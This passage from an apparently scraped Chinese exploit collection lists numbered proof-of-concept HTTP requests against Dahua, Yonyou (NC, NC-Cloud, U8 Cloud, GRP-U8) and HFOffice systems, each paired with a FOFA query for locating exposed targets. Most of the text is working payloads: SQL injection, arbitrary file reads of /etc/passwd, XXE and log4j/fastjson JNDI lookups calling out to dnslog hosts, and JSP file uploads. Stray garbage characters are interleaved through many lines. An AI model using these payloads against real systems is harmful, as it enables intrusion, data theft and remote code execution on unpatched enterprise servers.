User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
" Z9 |' T5 Z* ?  dConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
1 b* s6 g, n, ]$ p  y+ fAccept-Language: en
sec-ch-ua-platform: Windows
2 x4 Z7 x$ K, X: R3 Y6 o4 RAccept-Encoding: gzip


9 M3 G) G4 n) |( ]  U16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
  r( e, c/ L5 k$ G1 hpoc中调用函数计算1234的md5值
" i6 _! X- H5 b  |; T! fGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
) e0 \! D: f, n4 rUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
/ Y/ E$ d# ~3 `$ l: I2 R" m# bAccept: */*
! q# C% i+ L0 [Accept-Language: en
Accept-Encoding: gzip
6 X) r1 ?7 b: k

, U* x# D; g# g3 i17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
( h! |1 q' e( F7 p4 _5 W3 o9 ~) O* j! DHost: x.x.x.x
! o* R2 z8 ^' b. ^1 f1 iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! v6 s' s0 @8 @Connection: close
Content-Length: 345
Accept-Encoding: gzip
  L7 ~: _& K% q. F( A. D
* u) J. }2 Y' k8 z! d! F- B<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
# }- M# p6 I% F4 u# H2 y<s11:Body>
1 v6 f5 T$ H9 |. c+ I    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
* n6 b% l. f) |* m       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
( E# L# e1 h) p9 w" A5 p9 _& t      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
( c: l% p0 u+ T7 i3 Z# x5 S: ~2 g1 [: h</s11:Envelope>
3 {" J) O& Q$ e* W
( V* t% S; g9 c+ ^. J) k3 T
0 K- H, r' o! B" ~18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
' x4 [( f2 b+ \6 r9 m2 K1 zGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
& g' u! o& L+ G+ [3 M  d+ @. A! dConnection: keep-alive


, r+ i7 g5 e9 v* _: ?/ w% m( N
% t8 e5 i1 I; I0 |19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
& C5 @2 U6 A+ p6 @FOFA：app="dahua-DSS"
" E1 O  H# j) E7 MGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
, S- x! a* |3 I- BHost:
  @7 O( b3 q' ?$ ]# U2 zUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
5 U0 Y% |$ J% r% v' @Accept: */*
* t7 O  \/ ]+ a2 J2 k* h( V( TConnection: keep-alive
1 A# J5 R. |. I/ b" R
3 D7 N: f3 {) r7 W6 Q1 x2 ]" J$ z  B
( b/ y* i# y5 T) q% Y20. 大华ICC智能物联综合管理平台任意文件读取
" {2 u+ p# \- [5 G9 JFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
& M2 N. K# I+ k- N2 s+ MUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! e5 o# h+ u1 y% n4 tConnection: close
Accept: */*
Accept-Language: en
7 s* @, s0 c4 b. f9 t/ C& [Accept-Encoding: gzip

9 V# ?1 R# ?$ @7 U$ U
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
4 t( i; Z1 p, p# PContent-Type: application/json;charset=utf-8

5 `# g- W( [6 {& ^, `7 P{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
+ _. ^% Q" z1 S. ]6 h+ d' m}

* C* ~# V6 \! N0 N" i& Y; ]& d
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
) Z) p$ X/ z) r* }6 F1 ZFOFA：icon_hash="-1935899595"
4 F5 }9 `! W8 f! e; h( l9 L" E* uPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
4 V5 s) S& D6 l. kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* }* m/ ?9 M) [8 B- r, fContent-Type: application/json;charset=utf-8

# \& E* X2 r# T# I$ \7 Y! s{
- S$ m/ J+ @% ~! ~! `: e"loginName":"${jndi:ldap://dnslog}"
}

. d' I! z5 ]/ f, `! q

( g: J+ w) I# e/ ^: U2 w23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
2 ~# O( ^1 W+ O& L% C$ IPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
0 y7 x9 F1 C" f$ l$ \9 r" |Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 @3 E+ c  P$ ]' d2 A4 qContent-Type: application/json;charset=utf-8
4 E# P0 z2 s( O% H& T# Y2 n" oAccept-Encoding: gzip
0 ]4 [/ _$ m8 h2 _( f6 F# Y, J4 ]9 \Connection: close

{
$ K' v( a# c' Y/ D7 C    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
4 e; B# L2 y9 k0 E* d9 o5 x' n       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
1 e. d! J2 Q7 r( b# K}
2 F3 h, }; K' ], G! D0 ?* p

1 u$ T! H1 A) }2 o9 F24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
( l: e/ j1 B8 b, HPOST /aim/equipmap/accept.jsp HTTP/1.1
8 e! D# e" v- e8 b! k! R8 ~Host: x.x.x.x
9 `: W6 u( R2 yUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
% s  V4 w: K% u' c/ m8 ?6 m2 d" fConnection: close
# I. `9 u) o* u* i( {0 YContent-Length: 449
( }5 J7 C  u% m6 p& b' WAccept: */*
0 Q* V: s; c* {* J; \  q7 @& {Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
; f  B  h; ~; h+ L: l$ l
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% |! `' H, O: P" G; VContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
. n6 B/ T" s; B4 p5 O9 F  U5 T
) ~. m; N0 S* Q' l) O<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
, O! X4 m2 P  z) \( O
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
) R, I& D) T% h7 x-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

- M" i. E; [! i/ `0 p/ L: {' W
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
# D# v7 o, K- h2 [; ^' m2 j; Q/ |9 BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
" |9 [; k1 A5 C) v. _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
- u" k& P6 L) s6 tAccept-Encoding: gzip, deflate
+ N% D( C2 H' g' Z' G" I: h6 H* hAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
) M" ^9 {4 T6 y7 D  NContent-Type: application/x-www-form-urlencoded

7 F3 z3 s$ _$ ]  \- y3 ]type=1&dsname=ldap://dnslog
6 A# v5 G( h/ O, u0 Q. b: ]# [- `
- ^* E- O) j5 f- O3 ?1 @4 i

# `5 V% U  p# R+ c' {, D& |, ]26. 用友NC linkVoucher SQL注入
9 n4 l5 u6 {& v; {0 N* W6 R$ QFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 I4 Z7 p: t  e: V0 x5 ^  A2 s( hHost: your-ip
- p9 M% ~! r5 q& V) ?8 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 V. o* f; R8 K; z+ g# }, E# ]Accept-Encoding: gzip, deflate
Accept: */*
! J% A- D3 r( o) W, H& m# dConnection: keep-alive
/ W7 {9 w* w+ j, Z2 m+ c, c5 @

$ U6 b1 {+ k+ g* n0 f27. 用友 NC showcontent SQL注入
! Z& f8 p) B- Q* J! F! ?FOFA：icon_hash="1085941792"
6 G! _$ H+ A' v- y( x7 e; tGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
+ K. O- \& F5 p: T. s: I) \" FConnection: close
Content-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
! z9 e- {3 X, n+ Y; r9 H  DFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
- l. Y: t0 J2 M2 F# m) A, }: o/ j2 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
5 J2 a3 k6 p8 x0 O" }2 ~$ L8 M) zContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
" J; {$ f4 o7 {2 E1 _" o0 ~$ S" I
8 s( ]! C9 `3 E3 T6 L. [0 w3 r------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
. r  C2 D: V' y  @Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


/uapim/static/pages/nc/head.jsp
7 T: Y; e/ M6 a2 Y
  Z$ a$ X# U% G29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
0 D4 \. x/ g1 V8 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 i5 P& Q1 M; b6 GContent-Type: application/x-www-form-urlencoded
4 W6 P7 e: V0 W2 z  sAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


30. 用友NC importPml SQL注入
- }' J- y" w4 t/ f1 u' N; aFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
! d/ N5 j0 g: l/ OPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
4 {3 T/ N/ ], i9 z: [0 THost: your-ip
$ c1 h. ^2 C! I2 l7 b/ SContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

# z/ X0 M" l, I% P- ?- `------WebKitFormBoundaryH970hbttBhoCyj9V
; r! ^" I# v. y' n1 R  t0 O0 yContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
' q- E) I9 Y. {# D5 I& JContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

3 `% ~2 h& l: |& F3 z, T, K3 g
31. 用友NC runStateServlet SQL注入
5 G! O$ ^7 B; Z% j5 Nversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
. `: B: @8 `" h' V; s* eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 w" i- V- ^! o# B9 K

32. 用友NC complainbilldetail SQL注入
2 c4 B0 k+ s8 N" m4 ?  E! ]5 E' i% _. hversion= NC633、NC65
0 y  u2 H& Y# H) _% }, pFOFA：app="用友-UFIDA-NC"
0 o$ _" v1 H8 W5 [9 o' M/ b" AGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 Q& B1 X( @- [( A3 yContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
5 q# ~- S* X8 L9 Q0 [2 S4 DAccept: */*
Connection: keep-alive
! w! x/ p& g) A0 J) d+ `; S
6 P6 `! T  V4 p. r1 T4 n' ~$ F
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) u/ y& ~) ]# |0 y* FAccept-Encoding: gzip, deflate
2 v  m% L" o1 N" H4 a( `Accept: */*
% y3 i0 c" m4 o/ D( v" wConnection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
3 K, U8 z! c# N; ?$ e0 HFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
  y( g$ P  T) j' Z% JHost: your-ip
) Z2 `5 ?: `  q/ f3 H( ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. L/ ^% q; v8 _; r3 [. S* PContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
8 @, D: O' G* Q+ D3 DAccept: */*
Connection: keep-alive
5 J, O  B' e1 X( u9 E9 E: c
+ N7 B; V4 N( H1 y
* o- v7 v& J) i9 Z1 M35. 用友NC-Cloud importhttpscer任意文件上传
3 K& Y3 V# [" J# ^+ DFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
/ B0 ?, I# Q$ j' SHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
3 G: L1 n- E6 t& j, D, g' H1 \Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
9 m! W8 ?/ h; {( `. p& x# I" e- u. lContent-Length: 190
- S4 [4 G+ G. C% q1 i  w( ZContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
! q  m* _0 O8 b0 h& F) H
( r9 b2 t: K: ]1 `--fd28cb44e829ed1c197ec3bc71748df0
# I$ A; T$ [( R$ h& Q, I  g; EContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
! z! \3 j$ D5 H9 w1 I3 D
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

+ s  R% c& ?2 n
- {& z- f* [% t3 t8 @0 W36. 用友NC-Cloud soapFormat XXE
, h- Y6 c& F: P$ xFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
  L& }2 X! J/ s' o3 FPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
1 \  k# g/ `- i. h0 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
5 A0 c) f) o" I5 J$ l/ S4 lContent-Length: 263
" |  j( }8 E. CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 R( H2 ~+ k) T2 `4 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) H! s9 c1 s# L) N2 W6 a- b; R- NConnection: close
Content-Type: application/x-www-form-urlencoded
% [% K+ _- }: j, U# yUpgrade-Insecure-Requests: 1
* V0 [; T1 [. U; t! ^: ~1 ?
8 {) t. l* r% F+ O0 Imsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
( E& }0 _) T7 T5 W/ d

1 }& n4 K$ {  t  W37. 用友NC-Cloud IUpdateService XXE
) L* ?3 \9 v; ?' P, TFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& \6 J% o: u* X' K$ aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 {$ m& I% @1 G8 m6 HConnection: close
( V/ V! Y! K% V" @: A5 t2 GContent-Type: text/xml;charset=UTF-8
7 L; @% \4 Z8 l' t1 u& ASOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
' W5 W  L5 h; g- B7 ?
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
* D" e. @2 J/ w3 l9 T<soapenv:Body>
5 m1 V5 Q! A5 B3 [! o: W<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
% m8 \! t0 L8 u. `+ t! I, E8 l4 G7 _<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
9 N7 ]) l9 J; ]! [. A</soapenv:Body>
</soapenv:Envelope>

/ [) I2 H9 {! w+ e" O
- A" \  i$ P0 b+ Z- V
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
1 z( |9 f! n6 L0 q" XHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
# F( B) n0 c; f- v4 a2 J8 pContent-Length: 260
9 t: e  V3 W: P7 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
' z! T# }' [/ j) o9 ZContent-Type: application/x-www-form-urlencoded

* A& z$ u3 p0 [2 R1 k$ a2 A/ I__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
0 U; G* B* q3 L4 L% O

39. 用友U8 Cloud RegisterServlet SQL注入
$ d( i/ g7 H9 D7 S; V  n' q4 fFOFA：title="u8c"
+ E2 N/ j3 Y/ w' c' ^6 K8 TPOST /servlet/RegisterServlet HTTP/1.1
2 @8 t" G3 U/ w3 ^Host: 192.168.86.128:8089
( U. n  c% |" ^" t3 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
, l% l% _3 Z. W/ `- k9 p0 fContent-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
9 `# z! U: Z5 G# A7 @1 l4 Z
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
/ S  }2 k# s; s8 c( U4 j
/ J- \: W4 j, [% _
40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
. E+ D# \2 m1 z  _Host: x.x.x.x
' Q: t' d0 y1 [# jUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
  a" e; q. c/ `Content-Type: text/xml
Connection: close
$ g. E$ g' ~8 t  W
. E1 \; a9 C8 r  u<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
1 I) N+ Q4 L& c0 `8 B$ k; A

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
/ Z$ G. q4 {) e& c, |3 kGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
. [4 T" k" y3 _& ~2 O; r! Y( k, xAccept-Encoding: gzip
; h; s9 t3 k6 Z4 T! qConnection: close
& W5 X+ v, y3 t

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
/ C. f( u$ I! a. s, i/ g+ j: CPOST /u8qx/SmartUpload01.jsp HTTP/1.1
& Q$ U6 D$ m7 D5 b+ g9 r3 o+ oHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
- D' h. P5 f; b
PAYLOAD

8 y* Z" N/ R- f5 D! c
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
0 I: W8 H& M1 ?6 r% R; b( t. U9 B
7 P. G5 G8 r9 T- U% B  W3 c$ J' f43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
$ d* r& L( D  t) w* uPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
# y3 M! t! l2 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# [0 k5 c' b1 f: I; RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 f! A" X1 T# M3 e" a, f+ c3 A% ~1 zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. n" o) t- i- A/ i  g7 WSOAPAction:
  s2 o! L/ C1 GContent-Type: text/xml;charset=UTF-8
# B. G: M- y7 N, ^0 j: L
* d0 `+ R- p& l' M# u: }<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
8 M8 l; J/ g1 |. g   <soapenv:Body>
) U! q+ o1 `" ~! P      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
3 l9 o1 Q  L' }8 f: ^4 A( u  y   </soapenv:Body>
+ ~( \; X. d; Z: S8 n</soapenv:Envelope>
# E, l2 J# s6 L# V$ u

; m" U$ t; T) E* K44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
& Z. `  ]# s# i' n2 J0 hGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  @, e* S5 ^5 \1 u. WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
% |% E/ W  X: ]# T0 y4 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- N  ^1 y! F" U% h2 U+ |' ZAccept-Language: zh-CN,zh;q=0.9
Connection: close
" J9 |+ e( ?2 f( }
& v" N# R, k) q0 ~4 O5 e
45. 用友GRP-U8 ufgovbank XXE
/ m# ]' w" i( c( c$ r( z4 YFOFA：app="用友-GRP-U8"
. b+ q3 U  ]' a; b9 L( APOST /ufgovbank HTTP/1.1
2 {/ X; j* N+ K. Z: ~' U5 d6 xHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
7 H# U$ M5 ^2 [/ T6 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! m% v4 R4 ~5 |
reqData=<?xml version="1.0"?>
( R# J& M9 J4 `+ u$ z<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
  w; z; |0 x. b% T  d/ B/ D; M3 r5 W

! S7 Z0 s* y! B( T$ ]7 z. ?46. 用友GRP-U8 sqcxIndex.jsp SQL注入
9 X  ?5 W- M8 `; S7 z) pFOFA：app="用友-GRP-U8"
